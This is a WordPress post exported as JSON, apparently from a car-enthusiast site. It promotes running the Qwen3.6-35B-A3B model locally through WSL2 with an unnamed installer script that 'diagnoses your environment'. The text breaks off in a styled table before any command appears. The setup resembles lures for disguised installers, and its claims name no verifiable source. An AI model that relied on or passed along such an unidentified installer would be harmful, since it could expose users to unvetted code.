{"id":1598,"date":"2026-07-14T18:48:05","date_gmt":"2026-07-14T15:48:05","guid":{"rendered":"https:\/\/www.jimnyfan.gr\/?p=1598"},"modified":"2026-07-14T18:48:05","modified_gmt":"2026-07-14T15:48:05","slug":"quick-run-qwen3-6-35b-a3b-gguf-locally-no-cloud-no-python-required","status":"publish","type":"post","link":"https:\/\/www.jimnyfan.gr\/?p=1598","title":{"rendered":"Quick Run Qwen3.6-35B-A3B-GGUF Locally (No Cloud) No Python Required"},"content":{"rendered":"<p><img decoding=\"async\" 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KPiWwnHwmJKqwqBz1YQe3ZxRE6o9wqzY+9HZ\/76NDJ0UhMBSHlrjzc4R4w17cMzTbreDtADbtomWbd8nkaosDCgIklqTCiHamyYVjbj1kn+I3MSv8Oq4ResPlF2RJ9j9lMA4zrYxCZmHOdvzvxGZKLyo6kjujBuk4HseXTK9KGHwBofvQj7ZYcTvAqGE7cfUN+CqZ8r60oUzjuNASAg5M+kVXkw1jb+xKqVB0ySpeBhGOz49DfUeWtYFCLc6qNxTVlMSLD5n1lTUajqWEu7UDG5UbwGr9fiRVezjfxUbWbLa99rs6hCNm6k1wRVTOPbqjqID4FdpN4nxHpuPQD2duhzwQpUNznW1P3p\/FjkXXUbtM14vfpfhEaddYzL6eHWaI19W4SX3t8cGKQ+kzLBWXK3wNRHFnwVOBcoNLNSA13QKCmJMU1mjM3y99xiysdegf+mRYA3T2w2D2IDALaSSPhCIi4NGD1LThMzHrTs79IMUcBBLg3TbFrqz1QjSHnR0\/+SzZT3mfVMwX\/TQ6kXJewfgCW9Z5tGmsFBvWg5SzthnSsQgK488rBXPYJeyKU+amDB+u2TfQxd4v3iaEX\/4XpxgpeSwB3Ud2I9PqDyHNatJDYym6ewpECjV18G7GZelJ7VB5G6Goqt1ETx0Z1YtlPwLh9hRYpMyzLJ4XdwZWkK36eDe23Pn1OYrwrykrb0vDgynW3qB600IbtbTjQbn5CEiCt6tv8LYnizl4RUtk159R6G4qNjPy45\/y\/6fS0cCnDPruQFZBPIJsC8bErWK2GHHdor7F9H38tRbMabMFYs9RVP9ttB+loefSlxiFiU5gS0pHQ2k\/dYIFs1UdUe9woOiK5KvXmUKXZQuxyt5Wr0konbXATwXb\/MlH\/\/YVreJDToKuXgvVDmle1\/KT0gngvRMZxi+g\/F64XMPwGd3O3FIfJoXxJeB1AMHYbS6V1Mz8uPflCA7OkVHZUzKwiXnj9SS1sbj+lR4zp1KZ65HmrwkhgWjmoBytil6uCf5WrsRTkPfSUdoSawAODUnqZQ07Pp\/ZgUI1tEqHZx0HBNOEZEFBrPTuOZT\/BYXvkT6P2SPXlswyCsJIz8j7I5Aj\/9fGQDyOBZVVUxgtmkL4kHfMrH218aSvZkXRCPDGL6XtM7ld9n6f8XAiczJLAzaZZFHd7yBBpCKB6pyMChADxrGNTo6V3CQsfUkY5m5uUJnm9UitpTRYOHAnpJLSntkIGdGEmCOgWd1\/N1RzJAEbDkHgaDeuEKfWamjAuVGGdZ6Xh8rN2HmW2m7QQn4bh7uc8p1sZEHm4m99qb4t+k7VNBIhoVpY1nE8OWcu3gDtAL4KnWb3kist+wYMI3KtDs9HEOfynQL3Gu3nOuQpzwWEtNAD57mvxMrq59CHAMpacEeBaW1T3q8KheAJl5kA99Mn6kxOGbaDLetgmrRFul0ELRy1jxkl+2\/99DMRlgfANrgy7X01zoe0yYhntxkYU6e2ASMSIcg\/L1SG9WuXvGXqcENRwVlS8j2IGryjnxLbyX30P1fpCN+gL0MvueEM4dNMioRKLVNWeIj\/wAJR83cnwSYzr\/yBbdh0+2Ix3LQiA\/A5k7ybEcio5avlcy4jChQ7kXhaLU+uqHcI4gX0zvgZLM5VV+x82CX7whtcXRZRUFAj+pXOZE9dpOvasal9Of5JwGQOKBTpOWASsD9L9AJI2soJ3nHFVn9EGIUH4pPBu52C+sEHjPeqHKpr2rXoN0Vbfy74a3j1BYpboUTNSjZ1Nf6PBIwW0zyBEayNVeXNje7fWmtnkxX7IU3b+VPOYwPL9im5ya3Q0j0SYKrnD6OqCPb1sGNNk7etrIMVTBYkLgneoV0tW4GPG+q6klzUQZrPysyUYIQbMbcOI1alZNk5ZMSooLL3\/O8O31Ssqdf9XU5wmtoh3Uw\/YNpo5SyF\/AWrtIZnlXN0ITCsM\/TET2+xNrhpUo\/jdGqNWKyDcHCxk5yV8TIdLQzJjAQ4ji5rsLAJ\/kd8t+MaGpKO9Z9GGduwprAJtbm80NfQWQp+gLArPFB+J\/HSvc0lNYhk246MuQYC6AEYlJKdQGGJvVlzpt09a32BoAp8mNXFLyaEqjJg+XCpYi59FXr6ENKOkcrawz4nmv4UOEOsCruOjAdq8wJI1bX\/i4NrExxzHjm74d6MK7LKOeAwvFXhggBe627iEsn5VK09zkslLciZzFzIYBO8m4gHRrzwoQ0pglJ5uon70Zuy\/z4eqNZnxl2pZRJi\/vWKEDChna0upkqGfLyOarC8Xgbn+RuX2kfp2KfMqkF9hCziMPPWzEHNJ4g0L4pZzRYvntWQ1gB1HhxXgG19zlCBn9x\/RhFNSe71HbpY1o8U5qetBnd0Kers0PdGDHZN75JDHIJzywk3LeoMhgfQSbu7goF32AsegDf1jDNln1qjY6NgFk\/pesq164tMy3T5rsS4Dve0Gvu+5Ezo3aHoWE3z+q4wLgXWTK6ytnKvWf6A3e85CrvR9IgBbGSxN2jZv3g11b7y16ErLq0KRnqD6P7msJskdUbYSJj55WFIUDYIy6r3apER5Dpa0w8ueFx7z3+3RGPDbPnutUIFjfwtAq08CDdgtf1iBb4pzQQ2o7wqxhBHwL0UyPa1WP9g2p55YT9EkglDMrPr4F5wVyeJCEhLwo3pO1zlFB7XT80ymua3dp9UxN29tiMbQCc+XNpD8tiHnWJwvvalcv5m9zpv3ayjcLXJKsSYrWIVLKe+cSdZgPOcmavM1jFXlazzKXTHTb4A6mxVyO7CT60\/XMEBKDqWz\/IQqSsTWTdkLJpveMvbCFSKIr8dt4tntuEE+r0T4nqKy+5rFRSfTS4gOsL1supx2V0N\/sUT7gGbTdRv28I7OF1M3FWt+UMYv\/ruuYsE1qE8SJ3u8Nh9kiiM+YgvL+cbfqGQF\/kbDwv1FycaD6GLTodMy7gPtnz+3fUNhe+YId04TBNCoq3o6O1j+OncC4my8mf+BD8TZoH8bp5gOgXxZovyiLcDzZAHUyG02BJUvAv3PRKwKNINNe9jlsM4NtiI3b\/xH6MxspcFhAgbdYQiNmHBoTl3Z2goLcy5TfMbnNKAFOi0Bo+qYtGkHzGBv39V4mkSUcflWRO194HcQM6kZvAg5HIaqhhcZL2oTUptwQQCJjn3jtywL\/9s5mwwjUuvnQCTHYTpWyLUNStul87XSgKxb1e+xuU5q06vKWW+0Zd+I5aSa8AWW\/Sig98HYh1ECVvNAiaiFT7d1ZtO7HYlAzlch3MKz528wmLPaE9N1gcozrWtyQdAWzlW\/7ueBJVkYhHKtnYdwl3GQZJjS3kSYvV\/e228cd\/5mmpNEpvFsT9B+gsF4XlDYazxGwf6vpEtRqrAVTO9QfJIornUiZplwOVL5XgoKkMMUP1a8nAYRlrL4sOLYB5c7dCbHWjvtETUHN7zqfvAyCTyAWGEpX+Gt3vaVP6Ont9zuOWmk0qiuMJKqWkQH\/nxyL23G6VE6zUnmCWrbJC75fRFoQYNmIJPXCXjQeRp6JZfuGOYlXmeN3ZQYa7Bp2NG9utyKjPgDTLbULT\/XWCjmmfEH+qbPP4Go5lTO\/1ENGp4F4sW8+tFdiEj4FraoR5er9tUkV8ox6g6zRHJ7+za6N6Uo0cyVkAQDnTaBYwkriGXEN2kygj8WoT5aPoOxLNGnfjn+w2Z+mN9cT69ioIzJyAenmyk4cTE6m\/Ah2NI8nox\/\/Y17r\/voxd4wgGEo9fldC3bzwgAiIxXx1Gp1biB8ksQeK\/weCGrV\/Ye0q58QDOANGEbNk4l0eZzyKh\/IVEX7mnsErfbAzKhHm07H6FeTcRcfki5ULX\/uNb2uRQDL4ZiLP\/CVntRvi5UoJQCKUZ+Km\/6kaJPQCVB6dr+8hX\/567wwC49Ys0A+CUuIX8B+so7eJew8Mek1moJOPeEPRFtSQrRHrTnuDF7Q\/xUcdBeSDNz7LoXzT3tdV1anIFY8CbODyT49xrWziJDRc0oKFpcoVJI18H3wr0XkF1F8K0\/3OZT1djPmI5fzvCk6VuT8tY6TJQQykTP\/Zi\/MfHd4xd3Vgs2s0gpShgQxPhq3WDuTB+zkzQTzV0dPDZVdckNCYVPMU62Ema5+qZedFaPdGJbkEekpJD+1WO9bXbaOgPhvQxBM+wBpJf1em0U+iufNTCPmGGD0DIIbY8LjicGWoIQgrU5adY6hoVQ35hdHyFpF0uIjrWtA6USYpLgILGSIg6mjJhF846uaCdlFkiCcFJYKb18tpHBJ12KYVjMwRUtvkrjgD22qPSKBMGF0idQtUdS5Kp4MumtBI5J3p9Gjdbl9M+tV2saQUc4Xq9EOiaFTVjEpmpjt7YejtZXvztddyj2vjLM0PJuGPpmDm36iYvpeaLuKvkOpA1laLXNyTuR2Qk6ZSz\/tKMHaMKbk049olfcbUdgHMc2AWJinZyfbonXc80Bwak20+gU+pH6AoO35Ja4d3vbq4s5ioQb8Jvm4Yg74OPuNDH6ZRFztCwiIwyTuW5o9+Mxn2fu8NTZV8sPfaehUvYQS1hj2F9VNNY9UXAHbp2cG82HX+HsB5riZlQDJ\/uXxe51pNOoNw64od+AoCVo2JBhANbDMas+C58mTZXzVX4fx5yld7D9eiwFN1Q\/RCXpS2Pt6Okeeup3ks3MppTnCwlDvQHrGFvPICk7GoPiQgkRjcRa6N4wwia9zyaGyeRfhnbXvNZuL0stA9a9HTRDa+0kSMQlZH9Z9xZ2D5276b4Z6WGS7\/6CXNCyrzlfP\/Ie\/W0tvA8HHl2VAG4ZJWjQMPH9jDvEVVvzb87BpLOQqlfHzQgouYFYqWdZYmrCJwC9oibhW+NgIWJArhcbaAm13inqVuLrpkFEsfAZTkZLoaS3cYWuHoZ2te00KHAOcjzRGKdoVvd4k9Cb7ILNq8fbErVvOWziWpglPz7JWTOCwQ07jP10IpMsSfgJmm\/hNA2wWrw\/G30muDJxQUJzLUN2x+v8jzwa4I31dPZgM2GQFzpNbmj84vL7p7og398fU5EDt1\/\/qCusWKlLI16XWu+0eIrJExQqe0xrGr6tGLCp5OpS9toKgIMjkaHbEwDHdMiGJ99xZqUeHC6LC0Z2P8y8EcSE8I8o+WAXIEsXbf6YtCiCAEABRl\/1xTgr7\/o840HTx37s3mdsiUYVo8uTscmsgL8Txvkd3qg0CnN45z1vI+0pYjHGDdePWMD+gCFjzcskLCgoQJSJolBOE5PREV0+8Ry8S46+AC9XIhVBZ1n6\/xGR71qGLT2DqacCQjVokpv8NE958Z4bAwl6r7QnEDgrrPpFUPM6SEIhbyOMRJN8kWW7ptr2fSYtOTrvp6kgm\/SR37RdBHiLpg7gv8IRXE5gLyQLwkJziM8JwlNLAN2sVPrtOrDNPT+35jZtZH5nM2J6b1+Kc9O+hetm1L9CBZV3k8jmY\/3dS3fuwbLX0\/EZhFVHr9iYG+vflVz031YH3GGHAxMf18HEKoZ9kCCZ7nC9CKIB8\/CQop7IvXJheiWsjXdDHem6gB4bZpX+YaqStm\/ZHkgz6uQ67shmW9M+v4DVyWLeJC8qCxAO93IZjzbI7zTdZc2fCXK1dALFznENbU0qPBsZ98saaB57mDCkaTmxI7gVI0G6sZ2DuTY7vJMwvPRsECbi4W9\/\/0IldnlkilJja6Np3ZcyPtCOojMe9XJp0zD9JMPuNKtYHqCJoG7c1uvmhTUc2t37xZWbJxAKNoqeI5a4L2sa6hj2mXc68Bdq1Qm\/eU2FmK26BylxhKtZfWO2E0H\/0hSKyjGlQgSebB62Bo3nWGrO4M7URy4rlzcwnentm1+HUyxzdoeGgndRXos9kxoQ9YRjAeZpnWirHlS5OSGdow9EHGVsenyx2YnD82XNtC462ZdxsdTv433lKcyEocUdZqTgKVJf0vZP5aErRXXmuLjiLYF07rN1oUzuCpQEeClxLyRXk8YwOyeJKwDhyOyPU6gat2h185J5nVT1IEVNu8bwVnj+4z4rviLY1KPN5VrHcKs+o7UBwg18PI3xdLVZvheJB6d501mgvujJxgXxfAducySdKcjLBteEm0v+g50BgmseGnWiNX7Fg7UFgzXmHVKZygdaxWWxB5fiIp+LGuhSB0yCdUgmOUxcsybBQw7eGCkrh+2kLkUSptxhIlLC68\/m\/xJdpe+P0KaNKpwrlFOkVwwwZsIYVBleLkrHie\/homRDxthB\/V6f5eaMPK7v2tQD8od\/RTuijFOMo4K+pnFS22mJ97g\/1DdRK18Zwre2gEdwIannFwP538DjLVA81kkAk+ygl54X\/wAR3f0Sy2BnJwNePStApR30uO4eAC2i9OZyIaPl3qhgiqc4aYpBKx7w4kakaAgNrleMG\/+00yBmDClCsatfkItWVMLHGH3e6PJJc7ThbPqFg\/4kRUzw7NUdcsSu6g4WF8VU9Qsvo1PgVPXdITt9j37uvqtu02Jugn3urD+BBxIUvi+1tY5eKKbPwrxSsN9lTBQirROUCyT2Ln\/9Oe12tnOxwQmuD58x8Fp7Y\/4msmPTMHn4CZpv4TqmPpi5\/\/he2jPHFnnom1LNItvWBWEIK4H8CnzUjWGR\/RmZ+AbFGcX5zHQD0mCHLvi7WHbPo\/BxtAW1fEwzlNKauQjYaleRNqRdmpHLy92+qr3o1jfuQe1linKjQspnP1rMAZ1DJvjUsQiquqhd\/QrVtcCzxCqWbPc4j\/qsiVpJOtAGkFuYNueki8DlhvcrOPIQZrWWzNRncphoimk8TgptCoz0Qwu7Fn8uuXLABCP8qLkih3dhmuOiBlcr03pNFLW9\/pf1H61VXHEurHXmOCp0r+MCUIrkDyX7qAYm9HiFRLDTyttEB17pM9DbxG7uvLaCAiMEkfZ0EjvGafeB8Xf4kfr5XjtXupI0CJEGwkANeFivKHGY4WlbRoG+ncGDMkfVlrCUoVNTZ\/Tm4T9nRCkNzYUY5MJnjJefapOM26dQhmBa2ZRlUvM1eGDFuu7viLrSBAeK7qyvVKk+uulaxtunOZiRkBf\/2J\/z95UicPpmbT8E0BKtHMhXQtDYXv\/HWbNYP0Vvnad1veJmwF7O0Wckuk\/05VrQNW\/93HnQEN1kuTgC2PCJ5O+xT9hMVTePyFyqMiJ+KYW2g9RYeGx8G5hDK3TL\/XIntSsOiHVPdyrDMypgbEypOXLWxmBK1x2BcNY0J4f+8Nf3A\/XdTR\/4mNXyyLYpKYiDAoOSuXctCliTp1UTrTUJKg8adZvx3cbS\/fXZgh4ycbA1WPGh+mEifauLbPtWxUZyZqatgX6J8er1\/4wbVSZYr\/FUiBTTkruZMDfZAAal7M0rim3yUJ\/F\/ev1qC9iB4UyWA6LX7UD49P9e3s\/\/lQCfsAmS9fGVhQ5+XzUP6ExCbyBXK\/AqoqLzDOdFOhzq7ePheS7eKAj0UXg9ZYqlz3k16XRc6Sn68SZhrk0XfnR1nBSkJfaSDOKjqCtQjWKHOztoA6N\/HBV4dNRbJpaPbgPlCT5gvqWm3D61ZMqfbgci4UHnWhbmPGjiwibEzP+JroWVoVEdTZq7zDjJTNLbUwfSNQPQD577R9lxn9mNDvMYwlwNuaZcRKoeDmCdzQ6yaIeUgy9TRDVT4VVZViWVjMpAJKE9d7\/dDerbCugbYiVO11XBzrQJkxPV04PAhNP+uh7GEYZvenLuHr5AdQmX5GSl6m6jQHeApDVqnQMoGVVCO8UXnh2f+GplRenIYEyZKXfxXfca6ojaZtvbKRlCMV8RLO8dKV7mrF4XUWLVgZ8aq6Pd9zo7xLCcorwgXCPzgX\/lJko+CHqJG\/y8jnmuZUVQGO6HqCZZ3ESUge\/aexAsuNREjTbb3Y69OD0Fswajq8F+Y4EcPtr3KPpmMiU9iTBWFhAD9Cwhe15P6nq19tApylLrIG\/aBZfKQlLuFiwEEOmA+I4NGd1Kn7gmMvl7eHRzgW0Fr20cFVFG6gj\/YUIHmUwpK97ImCoh3Vq\/bdS\/YCK52R0mPgO6I0YwtUxp8OqBi7CGdMj66adEKOD32pUpeh66XJP1J0X3a85m51Fn0bHSpIC6P9Y1dRiC3sY5nGZiBge+0zqRDz8Q0Evsbm5IaRuKOx4SeBRL4PGx2KboRFsN1FX0+LlL3gs0FvJMpFrtxTn4maGcY81MBUscOc1HIKrhiW3\/1wUzEtI9hlzluC2vrTtWp4R56Oa\/pdM7+j0R85EyM3KRyw08BAfw26VJL8W9Y4KE6DI2kqzCVN38veItPaW3RYerCrUrXIpIAWon7rdbn67USszuyI5JxlDEAqUPyzowdTPtt5LWs+LOzudstgpRF1ieneShck+OdPqXbNhjpAnFkdmls7ooJGk8AckFuwLe23HWRIype16ufL9khLt0Zpwwat7C1pAc8lebz2JcMTLYSbyhlnIIn8IoN95EbSSA+Dtuxck7vGWh6T3pLYYszIXgFKuEtmEcTuLj84JpycjaoW1iZCxoru0qbUrpuiwMPZ23xgtrgV5EINgeHL4AT2UJ6nAL\/ysSwoo33hz11aSDWgwCnCIErVBO9vc4Gbb0wBkt3nyOHmIpjXrsQfBEi+3+e\/\/DOQDWPR6D47Qahvdzh7G2j2JI2MselTYnf6uPlsYUQPhIkOJCCQGahX12GGgkamWVyKl2WtLbD\/EUHzHbpa\/5zjAjGQxvSCpEPXfRE10\/k7K7+FbY31oxvJaWitKnXMIhgmAzdx5Li5b8kAsDrT8a1HiTR63zq7Ke4djir2R1hr\/Ov61Fw\/VMMBZXvKVPoj6Cka5az9hVCktDw\/C5QoTuq6dr8JWiqh81rGvg3mr7RYhDx0JcQUPihIrfH7w4\/+0YFEZHINMBP6YWyZ0nma\/vJEOPUhFRv9kaUQpdX15NXFxHfJtC5Kr++QI5BmB3ZuaRJSOjpQc7b1IuUqWzdp4YM9VuWg58xjG3z\/LJu1tBHZIB3cijRzNmT9GlKe8hkrm3Rz1w1ludyGqm6cev3j8qjRTaYVFkV\/AQ7Mn06tdJBtctgE6g42JMlGARMl\/27v78gZCnlb7ty4iJePCNalJ6bqqSGuQlQxN\/9DzYa4jcL1Yyfwq6iZwBvS9R3qf3zoANQJS90JzvONzaJaJof2L5gv8rS0A2KSzxvp+TxII10qHkTWI8Qh\/LE9caajKjPNjV1vhZRg43fga0vkJ+qM4ZL9l9ypQwDJJg9DjepqgQKNAYV17U5voe1TkvQfRX0xjz\/G3g\/jFCZqTRdLB6F8hgN7bjrzz356i5a8SAoHbOqPnAggYeB6YKWGywNd3O6YFDMuD2Y5tT8zJ7UOU8KJMVZuTxFDvcG0fay7c0EpZSTR53+fllgt5exGoYL2pL\/xs+i1+hZEvBNyNlRFSbNxt3C1K6Tva4S0DvF9Vk7qlRqNG8LlU2GmYvjMtniD6e4j52+1YVrgqtZi2nBFy1LT8ZYvgnLMp+lcsgbR3bwI3kXAT4VYVNN\/4bBNqhUd7mSRQ0VwxXXXX7Sn0LvZtTW84no\/Zz\/oGrdUdoZ0cTR1qReTpgkmo88duAJOnNwTlMh\/b2VHby5paKSv8F2Z1vNa\/zN\/woaXxDPVI+iLMxK6BdQirwZGtjLwS6kUiQDgQGmDeb4xM7QSym9tVHDhXz+8jXePDHbjmG9hHKHl2wfCrrvLq5Adam5HM8apbC7hvap8VEBhOcIUVgBDxvF5vpXBU5qdTvFPxDEqKuH8gBhS+qOdED8ISM1lixduWrvWCMwsQF8+hyY1MjdhqCqNsc3nXIRQGb+AjY751O7D23DwTWw0qFNtS2mjoT3z3Cns769b12w2po7BXVBFLsk\/bAK2nPvbdjUGTQsrK61Qo92+Knk6EoLWwCAtUbZZkJS4ig41dBlQZndZR01LqQnbQ8JTndT+Btogy+dyEXhE1gI3LhmkNM6eoqgq3U0YJEg4xZBW+eSVHlVahqHou8xBDiGgRpbEsoEC5s2OUsthLtoTyMg9EXCORVjYhnSpqWU+IUrAl6XDN\/kW96S24SqL3hm6IvxVHkm0pJFRDSl2EBW6Nn3eImZqkfzgqDScc+hLup8hgoS2Ym+uzKy\/ivpf\/vUK61oiI5W1ZZsTR3hukTR\/f3HiH+ibjix\/4cIxGz4NzFd+PqCV0x0wcRAr66P9RLel20Oz54bHL3eqaiiSXYw4Fu+PcYHdjnvEOOeVTKnk6XaztP+3vGDxfM1IUSH7HeNtxTLtSrbVr9sSFrBmmpJ+a6Vb4yerB8PA+3nepL6quwzs8Q73l61XcIqpmG1l68yPS4Os9SVXNvWxv3zvtHghMIbMT4+Pt2OO9hFPgKVM5esDeB6V9lzYZFsE0oUE28q03g0RZBToLatiuZB4FGf4oJHK6ndJK9fNgqwHzaMGsinrxKl+uWqTjQ9AcxnOc0QrLG7etEWyPFMFgyXxmtiqj1TkiM4a8LURSCjC7hqExrup+zcoBjnA3o2n30UucpUWpeb3VYnjv29rv2DUiOTXgMZTKmaf3\/NmqH69wWHJVusK9SkRI5YljCZoPXm2rEOqzbByTKGMdiXUOZ60S6tF5QxHC9NI8FQJM+TBlMS8cWhWf2YeSYIH2IFVBLC8P8j+g9kGB2vzf2tw40mUoO4gch2GI\/7Eb902KcWaOCq\/c873BPX1KQn1H+k\/4ksGg34s8AT1VtXfmjL1gCbDtH4puisTtyZugVk\/2b8NxTX48QGinZWN+CEI8y6dBNF4RSH+pJW7+1EtX7XeiKibuSfMhm6il5E6JpVU306yza1+926JkRcn8MUmkEK3Qd8Tb5H83SYUE87GkCL1VcDlYVVVezmPBYm05AlXg+H8N+X1rMIpv0qMwHgtWUsprv9g1S72Fs15Xlc5YsCpgjmDIRHue0QKlqqlZtVyuiUX\/ZpKb9UQF7PIhAHNuY\/1RmsH8NqmBBOeEiQN5k9TA\/p1m88c2xoaVRx7h66yp\/xM\/IXuyEkHrbE0V96QllN\/tT7kJfRzcLl2fqUHM8R6nUD7waAf22Ir0TwufbXpDRIWStbqbMzhz1tG4DJ\/u1sGO5gvPUT5PmwFp7S2C5jQih\/jQomXOcsEzjjFZjUpTa7vhvt6lVstbFDFp6U3xGnG02np1igReSKI1hS2T\/ca36Ffmia9bvCZFxBnTRiiowx\/BPoublbFIRmWJtMY79k7+88seokBn3HdIIFh3OCfjz+ph0GTKuVacmBEbZjXHLx17pJDs5kgJyYtnUoWrzz\/zLGX8QSW0Ezc5g9dN+He5BYQFx5NAf8bO8HQDOBmZnYpdGzgGQHbZrakFurlWq3sr8hZ9Dy0IYOXSbUzr9tWEoAnE+telt2hIzxy1d2GnPdkySvr5+ij+VfY9ldqSBpgEevrTdO0ysj3FZkhmUAJSBqTJl3cQry9x+zE02idzop+4af0p5DOg1+pXRPHtHot44XlgdFfrY+MbHlBqyor8drG05SO9wXVq+TdcM9K6IlRPLVatEl8VQ\/cPj+8f5c4PiNiOoNfvhXxuTPp7TeFd4XpgmmRE1HpTqGrmkIwYpCVdYelTMBOhslgpU9GQMGsunMwXMkvtotMF5wsWCQ5p8U4HT7Ymbrqsz0wVGKzUrlOWqtSZKIu199cHh+C8oj2ZGIIU+QpyaNGM4wRI+uXQOTtFpo3L6k2P94ry3C7QUtItNPHnrEBNDk655c5ErTD6tIIiTMYx4\/cQ4OVC1LFJiE\/8BZusrwRdFRz3BHxuApbky5Ohw1RxrSdV4yBQDKrj5tJ7ZHvmu1QGUOzPk9OG7sCOG9oDXJGa\/oQqr3S01MG7zfcidSZi3llDLFJ+uNvcRTwQv0Tc8bRuMRLTNO7ZsxKjIGB+Rc+5fJHTNApmNeiZt5I3XJyglcEHYZWMhO1fzELrOsprjH8w69HC1X3vX5qbolfxGCcPRqlB6DJjHRjziGAV\/fYcUgaXKj942\/bTDbA\/cmP8SyO7k07hvN2O9ChLStXwUB6fNsVwyUwllpy3sI1QucdMdvid1eq1Tt9G6hcLfZEPFEWjRczNRqUmZ43AndiuFkddp2kC6BUzGsJM8FfTLeeE5BAe4KM5wAL\/kObacbJW5aE6IJREoRNAu9O1GblZx2\/bKaeBkMdzb8R+C\/nagfCnNn4rAl23zB7i8xOUn6fmp3FZOUtHxyJII+5m0fFvUy2H9vwzjNILH6TDXI0ST7tUbVS+O2qaElSveCK1Ds3o87cRS81ZzBuSuHEoshAkZnjXKwT4nIcpVbdTwbxaXskjGkGcWqG0G96zoUWubhfrwVXw3EApcAvAFzvif61k36sBqfR0FgqD7Z8rLl87bIBDUAPEVxP8IFJ9RqKU6M\/vrs2AmFT4RRoICP3bgOqj2fiTh6OFRDhYOUlsxgof\/7DQXQ0X\/ZjnBQOAXq8gnarBM0+on9oT7xntZe+f3QUNbjEQONcDnMKYA0C5oKu+Cz7\/1f6b6e2wnVmMjSZt2o702TFlgJ+JzTwKM9OLDn2mCHenXeUm4TbCByTIijtfvGmcaYcAAicCShpd+lCdCW+3WdanzsMiGVIoP3k8E9XM5hIu9We7JfVqYPBLERLUCWuV2oLH5wRkDqzZgJ8iRyxKz9Ni84+2IHCO6oApvuEcApqEddhErv7uzBa9ydh5UlQnjk0+bEGM4doJWuuqlJ0Qa+2ecwb5ZACjF4rqT3EdsuPkQikLSy05\/AbRoHJLghcR\/8ZhpYINM8rr5b\/yGWBNnztRNoakI96Rw3eAnrfZeKisItX0bIrKEv858Raj\/11gLUstA1i8KH0M\/L+GKUa8r069AF4JJuyj4fj3lAGoKdFxJX8s8TZD8me1FdzSSGobt8md+QTMTnS\/5A+H+fVQagzN4SxEp9exIL\/r0UWDUPUATjoiEHNGiYAN0UeAB2W0E3okeP0AC2NcjMEzVrVIYgI7dhcfxHECFk8I3wdcOukXowW6nP2QdatFzLATWsOvd3BhwmgZu\/fTIUQejYOdRzCu+9zVZArz3lnMyHX6f0QlcU2rvaqoEQRLiMRnk4AouSu+pVzVFLK1s8MgkAAXsnyAQzjfHr9TlV5mvVhNz12OdE8uYbCdgpsA1rTiSXY9WbsBCwPoB1ZDXiuwD7yeNMzeHBT+DsHPyFRjS7ztkQNKQGl+LRh+4nu\/WNKQ76Pw+Q5s3nxnHXsakt3yIb8rt4aVIb2ItnXh6jQYp58EWpszWcsPZQ6Dl8UnsF89lhBF4MZQpCbRN2fZx\/oqBuBt8TdjSrqgpkcYOiO0egBipJYdOU+YuJa5Qqrlx5zzO7uf+xSKLvapxS47NKpYGmcDxSqCrnO9scCkd6ClTz8IoA1IYRH7hLp6mWgEjODVZ1Gxcu1R5d75AYfEvSLELzsdobwt0bhANK2joqkQfU+hNFE997ImCvnGPxPnRh29MzIjUStn6slAXdo6k9gRNu6htyUKBDssLiAHPrLOJ2Mj5OT+Cct86dbNfLuADqnUWAujCcNe38S6mwFUG\/umWW4ku5el7EyGP7lO6HfU3r6EGWb37ba9HzDAczvPLLNUdvnWJkikalm72YpJGZKQWZR+cw7xvFjAhT4dIjY9OAsTYARnN7iVzMAH4KA671RrRmOA2zq3zgyr\/\/sqlq9\/g\/6o7eXhVnY\/rWE6QPFdYioWNq4yxPJ2k4Z5+cunAFyucMO\/Fh+LmeHRkR\/GSlHB8jvTRYpwhzAHcE5EYbcZa0eAS1ZGxUjBMyqa4MU+Lew44e7Z54sV1gv1ZyMhGpVgJndZNMxI098SBpmpviX6+joIeGZHTGSHzaNOY+0b6NpD2ydHNZhOs1fSFKwWZgtcm5+ZYc7BR83Y++e1t11TaQicipPWIb+cZAACKQACoQfKFb\/vAaF6eNt9asCq7gBfBfu2n\/T1l8E6Xc3T28buhQ5p7F+dp0W4PMnNLOZ\/FwbbMpJdjfE8kzPzGFsuVS36iAhNRorAtcIbXr04APdgGS\/yQ\/x2\/T114NMXIwIoe5XfWE2Gt6h8dVzuBiMTcHaf4fuamU6yz4g7PkhzPHSpcGmCrYCBx9zpw+vBwc+CiZ95oPSekPrEbe8\/CsmIpJwsqsDLS6HQ+sP7sdACyAbNs2wXk9mQc0uRicGrQOlRCIcfMjUcl7Y9dAmO0NUylAKkLZPlGHmu7tGlAuVO3GgabeK1cbV4u\/Tk40MwxaYVPxtcEICARsTE\/HgUbzXUHc86aANKcihvYYWKv1RG1A9vWJVlAodV32Kty36umRSQWxPjUHzqARuIFPvc8pVDfn7f8V4gs5gyXxGk+rgyqCDQJf2HZ7Wa1Dwe+w+5Pk7O8BDgVXDZSluBE\/juWjFLzRXkqG4PvARM5r\/0Hgt47sHrnBPe0LOhywsJ\/5LEdiNtNs9lcGvEkiCAI33wrNWftZ\/BnUKA1qeUH9X\/DAcNm6LVqutixXzTdVG\/V73lKOaV\/KHVO7H1cyuvt15XV0tOP\/5KYqSyD9Eprrri9fiow2Rn26T2X46Io+du8+gI388Hk1XbqtK6\/L5at7HiZL2v6+zLaAcKzbyzEKoif7G8va0P2gyX4zZqQzN+jcc\/CHP7OHRyA0SgGw1ZNR9R\/C8JmWS0Yy7VcQCG1r1g+mUqrzU\/\/JUgZObC1GFLxu4zvqjfIyZhoznvHX7zSOY8PW4\/hVhR4aYF3JXeZtw6ALMXssy0RNtblHfCRJONEy+c68mJrVTxB8FK\/jGXlHOpSzgmLotAqb0XvlrFG6VYoR93Z+nUAAAAAexMEo1TEZYfTHTisBXy0AMoxfOPqfpWLswqNiexXtE1N04UEyUZwNZN\/cKBvacQUveNhaHrDYzg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alt=\"Quick Run Qwen3.6-35B-A3B-GGUF Locally (No Cloud) No Python Required\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>The most <i>rapid route<\/i> to a local installation of this model is through <b>WSL2<\/b>.<\/p>\n<p>Follow the <b>guidelines<\/b> below to continue.<\/p>\n<p> <\/p>\n<p><i>The script takes care of fetching the multi-gigabyte model weights.<\/i><\/p>\n<p> <\/p>\n<p>The installer diagnoses your environment to <b>deploy the most compatible profile<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:15px auto 65px;border-collapse:collapse;border-radius:24px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f1f5f9;box-shadow:0 16px 36px rgba(0,0,0,0.07);\">\n<tr>\n<td style=\"padding:48px 